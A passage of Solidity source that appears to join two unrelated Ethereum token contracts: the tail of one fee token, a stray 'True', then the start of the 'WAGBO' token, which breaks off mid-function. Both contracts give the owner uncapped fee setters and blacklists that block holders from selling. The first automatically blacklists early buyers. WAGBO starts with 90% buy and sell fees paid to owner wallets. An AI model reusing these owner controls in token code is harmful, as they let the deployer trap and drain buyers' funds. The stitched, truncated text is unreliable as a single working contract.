type(uint256).max); // exclude from fees, wallet limit and transaction limit excludeFromAllLimits(owner(), true); excludeFromAllLimits(address(this), true); excludeFromWalletLimit(uniswapV2Pair, true); dev = _dev; /* _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again */ _mint(owner(), _tTotal); } function excludeFromFees(address account, bool value) public onlyOwner() { require(isExcludedFromFees[account] != value, "Fees: Already set to this value"); isExcludedFromFees[account] = value; } function excludeFromTxLimit(address account, bool value) public onlyOwner() { require(isExcludedFromTxLimit[account] != value, "TxLimit: Already set to this value"); isExcludedFromTxLimit[account] = value; } function excludeFromWalletLimit(address account, bool value) public onlyOwner() { require(isExcludedFromWalletLimit[account] != value, "WalletLimit: Already set to this value"); isExcludedFromWalletLimit[account] = value; } function excludeFromAllLimits(address account, bool value) public onlyOwner() { excludeFromFees(account, value); excludeFromTxLimit(account, value); excludeFromWalletLimit(account, value); } function setBuyFee(uint256 liquidityFee, uint256 txFee) external onlyOwner() { buyLiquidityFee = liquidityFee; buyTxFee = txFee; } function setSellFee(uint256 liquidityFee, uint256 txFee) external onlyOwner() { sellLiquidityFee = liquidityFee; sellTxFee = txFee; } function setMaxTxLimit(uint256 newLimit) external onlyOwner() { maxTxLimit = newLimit * (10**9); } function setMaxWalletLimit(uint256 newLimit) external onlyOwner() { maxWalletLimit = newLimit * (10**9); } function setSwapAtAmount(uint256 amountToSwap) external onlyOwner() { swapAtAmount = amountToSwap * (10**9); } function updateDevWallet(address newWallet) external onlyOwner() { dev = newWallet; } function addBlacklist(address account) external onlyOwner() { require(!isBlacklisted[account], "Blacklist: Already blacklisted"); require(account != uniswapV2Pair, "Cannot blacklist pair"); _setBlacklist(account, true); } function removeBlacklist(address account) external onlyOwner() { require(isBlacklisted[account], "Blacklist: Not blacklisted"); _setBlacklist(account, false); } function launchNow() external onlyOwner() { require(!isLaunched, "Contract is already launched"); isLaunched = true; launchBlock = block.number; } function _transfer(address from, address to, uint256 amount) internal override { require(from != address(0), "transfer from the zero address"); require(to != address(0), "transfer to the zero address"); require(amount <= maxTxLimit || isExcludedFromTxLimit[from] || isExcludedFromTxLimit[to], "Tx Amount too large"); require(balanceOf(to).add(amount) <= maxWalletLimit || isExcludedFromWalletLimit[to], "Transfer will exceed wallet limit"); require(isLaunched || isExcludedFromFees[from] || isExcludedFromFees[to], "Waiting to go live"); require(!isBlacklisted[from], "Sender is blacklisted"); if(amount == 0) { super._transfer(from, to, 0); return; } uint256 totalTokensForFee = tokensForLiquidity + tokensForTax; bool canSwap = totalTokensForFee >= swapAtAmount; if( from != uniswapV2Pair && canSwap && !swapping ) { swapping = true; swapBack(totalTokensForFee); swapping = false; } else if( from == uniswapV2Pair && to != uniswapV2Pair && block.number < launchBlock + 2 && !isExcludedFromFees[to] ) { _setBlacklist(to, true); } bool takeFee = !swapping; if(isExcludedFromFees[from] || isExcludedFromFees[to]) { takeFee = false; } if(takeFee) { uint256 fees; // on sell if (to == uniswapV2Pair) { uint256 sellTotalFees = sellLiquidityFee.add(sellTxFee); fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity = tokensForLiquidity.add(fees.mul(sellLiquidityFee).div(sellTotalFees)); tokensForTax = tokensForTax.add(fees.mul(sellTxFee).div(sellTotalFees)); } // on buy & wallet transfers else { uint256 buyTotalFees = buyLiquidityFee.add(buyTxFee); fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity = tokensForLiquidity.add(fees.mul(buyLiquidityFee).div(buyTotalFees)); tokensForTax = tokensForTax.add(fees.mul(buyTxFee).div(buyTotalFees)); } if(fees > 0){ super._transfer(from, address(this), fees); amount = amount.sub(fees); } } super._transfer(from, to, amount); } function swapBack(uint256 totalTokensForFee) private { uint256 toSwap = swapAtAmount; // Halve the amount of liquidity tokens uint256 liquidityTokens = toSwap.mul(tokensForLiquidity).div(totalTokensForFee).div(2); uint256 taxTokens = toSwap.sub(liquidityTokens).sub(liquidityTokens); uint256 amountToSwapForETH = toSwap.sub(liquidityTokens); _swapTokensForETH(amountToSwapForETH); uint256 ethBalance = address(this).balance; uint256 ethForTax = ethBalance.mul(taxTokens).div(amountToSwapForETH); uint256 ethForLiquidity = ethBalance.sub(ethForTax); tokensForLiquidity = tokensForLiquidity.sub(liquidityTokens.mul(2)); tokensForTax = tokensForTax.sub(toSwap.sub(liquidityTokens.mul(2))); payable(address(dev)).transfer(ethForTax); _addLiquidity(liquidityTokens, ethForLiquidity); } function _addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, 0, DEAD_ADDRESS, block.timestamp ); } function _swapTokensForETH(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function _setBlacklist(address account, bool value) internal { isBlacklisted[account] = value; } receive() external payable {} }
True
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/** *Submitted for verification at Etherscan.io on 2022-04-29 */ // // We're all gonna be okay. // // Website: https://wagbo.io // Twitter: https://twitter.com/TeamWAGBO // Telegram: https://t.me/WAGBOportal // pragma solidity ^0.8.10; // SPDX-License-Identifier: Unlicensed interface IERC20 { function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require( address(this).balance >= amount, "Address: insufficient balance" ); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{value: amount}(""); require( success, "Address: unable to send value, recipient may have reverted" ); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue( target, data, value, "Address: low-level call with value failed" ); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require( address(this).balance >= value, "Address: insufficient balance for call" ); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue( address target, bytes memory data, uint256 weiValue, string memory errorMessage ) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{value: weiValue}( data ); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; address private _previousOwner; uint256 private _lockTime; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // pragma solidity >=0.5.0; interface IUniswapV2Factory { event PairCreated( address indexed token0, address indexed token1, address pair, uint256 ); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint256) external view returns (address pair); function allPairsLength() external view returns (uint256); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } // pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval( address indexed owner, address indexed spender, uint256 value ); event Transfer(address indexed from, address indexed to, uint256 value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 value) external returns (bool); function transfer(address to, uint256 value) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint256); function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; event Mint(address indexed sender, uint256 amount0, uint256 amount1); event Burn( address indexed sender, uint256 amount0, uint256 amount1, address indexed to ); event Swap( address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint256); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns ( uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast ); function price0CumulativeLast() external view returns (uint256); function price1CumulativeLast() external view returns (uint256); function kLast() external view returns (uint256); function mint(address to) external returns (uint256 liquidity); function burn(address to) external returns (uint256 amount0, uint256 amount1); function swap( uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data ) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } // pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function removeLiquidity( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns (uint256 amountA, uint256 amountB); function removeLiquidityETH( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external returns (uint256 amountToken, uint256 amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountA, uint256 amountB); function removeLiquidityETHWithPermit( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountToken, uint256 amountETH); function swapExactTokensForTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapTokensForExactTokens( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapExactETHForTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function swapTokensForExactETH( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapExactTokensForETH( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapETHForExactTokens( uint256 amountOut, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function quote( uint256 amountA, uint256 reserveA, uint256 reserveB ) external pure returns (uint256 amountB); function getAmountOut( uint256 amountIn, uint256 reserveIn, uint256 reserveOut ) external pure returns (uint256 amountOut); function getAmountIn( uint256 amountOut, uint256 reserveIn, uint256 reserveOut ) external pure returns (uint256 amountIn); function getAmountsOut(uint256 amountIn, address[] calldata path) external view returns (uint256[] memory amounts); function getAmountsIn(uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts); } // pragma solidity >=0.6.2; interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external returns (uint256 amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } contract WAGBO is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; mapping(address => bool) private _isExcluded; address[] private _excluded; mapping(address => bool) private _isBlackListedBot; mapping(address => bool) private _isExcludedFromLimit; address[] private _blackListedBots; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 1 * 10**9 * 10**18; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; address payable public _NFTfundAddress = payable(address(0xE9340a8758aAFDf16C7D2968508Dc2Dc7B4bdf47)); address payable public _devwallet = payable(address(0x05EE5e5650CF346ba4082b3e7Ef6AE84bC1490B8)); address private _burnAddress = payable(address(0x000000000000000000000000000000000000dEaD)); string private _name = "WAGBO"; string private _symbol = "WAGBO"; uint8 private _decimals = 18; struct BuyFee { uint16 tax; uint16 liquidity; uint16 NFTfund; uint16 dev; uint16 burn; } struct SellFee { uint16 tax; uint16 liquidity; uint16 NFTfund; uint16 dev; uint16 burn; } BuyFee public buyFee; SellFee public sellFee; uint16 private _taxFee; uint16 private _liquidityFee; uint16 private _NFTfundFee; uint16 private _devFee; uint16 private _burnFee; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; uint256 public _maxTxAmount = 10 * 10**6 * 10**18; uint256 private numTokensSellToAddToLiquidity = 1 * 10**6 * 10**18; uint256 public _maxWalletSize = 20 * 10**6 * 10**18; event botAddedToBlacklist(address account); event botRemovedFromBlacklist(address account); event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap() { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor() { _rOwned[_msgSender()] = _rTotal; buyFee.tax = 0; buyFee.liquidity = 0; buyFee.NFTfund = 45; buyFee.dev = 45; buyFee.burn = 0; sellFee.tax = 0; sellFee.liquidity = 0; sellFee.NFTfund = 45; sellFee.dev = 45; sellFee.burn = 0; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; // exclude owner, dev wallet, and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_NFTfundAddress] = true; _isExcludedFromFee[_devwallet] = true; _isExcludedFromLimit[_NFTfundAddress] = true; _isExcludedFromLimit[_devwallet] = true; _isExcludedFromLimit[owner()] = true; _isExcludedFromLimit[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue) ); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub( subtractedValue, "ERC20: decreased allowance below zero" ) ); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function burnAddress() public view returns (address) { return _burnAddress; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require( !_isExcluded[sender], "Excluded addresses cannot call this function" ); ( , uint256 tFee, uint256 tLiquidity, uint256 tWallet, uint256 tburn ) = _getTValues(tAmount); (uint256 rAmount, , ) = _getRValues( tAmount, tFee, tLiquidity, tWallet, tburn, _getRate() ); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns (uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); ( , uint256 tFee, uint256 tLiquidity, uint256 tWallet, uint256 tburn ) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, ) = _getRValues( tAmount, tFee, tLiquidity, tWallet, tburn, _getRate() ); if (!deductTransferFee) { return rAmount; } else { return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function updateNFTfundWallet(address payable newAddress) external onlyOwner { _NFTfundAddress = newAddress; } function updateDevWallet(address payable newAddress) external onlyOwner { _devwallet = newAddress; } function addBotToBlacklist(address account) external onlyOwner { require( account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, "We cannot blacklist UniSwap router" ); require(!_isBlackListedBot[account], "Account is already blacklisted"); _isBlackListedBot[account] = true; _blackListedBots.push(account); } function removeBotFromBlacklist(address account) external onlyOwner { require(_isBlackListedBot[account], "Account is not blacklisted"); for (uint256 i = 0; i < _blackListedBots.length; i++) { if (_blackListedBots[i] == account) { _blackListedBots[i] = _blackListedBots[ _blackListedBots.length - 1 ]; _isBlackListedBot[account] = false; _blackListedBots.pop(); break; } } } function excludeFromReward(address account) public onlyOwner { require(!_isExcluded[account], "Account is already excluded"); if (_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner { require(_isExcluded[account], "Account is not excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function excludeFromLimit(address account) public onlyOwner { _isExcludedFromLimit[account] = true; } function includeInLimit(address account) public onlyOwner { _isExcludedFromLimit[account] = false; } function setSellFee( uint16 tax, uint16 liquidity, uint16 NFTfund, uint16 dev, uint16 burn ) external onlyOwner { sellFee.tax = tax; sellFee.NFTfund = NFTfund; sellFee.liquidity = liquidity; sellFee.dev = dev; sellFee.burn = burn; } function setBuyFee( uint16 tax, uint16 liquidity, uint16 NFTfund, uint16 dev, uint16 burn ) external onlyOwner { buyFee.tax = tax; buyFee.NFTfund = NFTfund; buyFee.liquidity = liquidity; buyFee.dev = dev; buyFee.burn = burn; } function setBothFees( uint16 buy_tax, uint16 buy_liquidity, uint16 buy_NFTfund, uint16 buy_dev, uint16 buy_burn, uint16 sell_tax, uint16 sell_liquidity, uint16 sell_NFTfund, uint16 sell_dev, uint16 sell_burn ) external onlyOwner { buyFee.tax = buy_tax; buyFee.NFTfund = buy_NFTfund; buyFee.liquidity = buy_liquidity; buyFee.dev = buy_dev; buyFee.burn = buy_burn; sellFee.tax = sell_tax; sellFee.NFTfund = sell_NFTfund; sellFee.liquidity = sell_liquidity; sellFee.dev = sell_dev; sellFee.burn = sell_burn; } function setNumTokensSellToAddToLiquidity(uint256 numTokens) external onlyOwner { numTokensSellToAddToLiquidity = numTokens; } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner { _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**3); } function _setMaxWalletSizePercent(uint256 maxWalletSize) external onlyOwner { _maxWalletSize = _tTotal.mul(maxWalletSize).div(10**3); } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } //to recieve ETH from uniswapV2Router when swapping receive() external payable {} function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getTValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256 ) { uint256 tFee = calculateTaxFee(tAmount); uint256 tLiquidity = calculateLiquidityFee(tAmount); uint256 tWallet = calculateNFTfundFee(tAmount) + calculateDevFee(tAmount); uint256 tburn = calculateburnFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity); tTransferAmount = tTransferAmount.sub(tWallet); tTransferAmount = tTransferAmount.sub(tburn); return (tTransferAmount, tFee, tLiquidity, tWallet, tburn); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 tWallet, uint256 tburn, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rLiquidity = tLiquidity.mul(currentRate); uint256 rWallet = tWallet.mul(currentRate); uint256 rburn = tburn.mul(currentRate); uint256 rTransferAmount = rAmount .sub(rFee) .sub(rLiquidity) .sub(rWallet) .sub(rburn); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 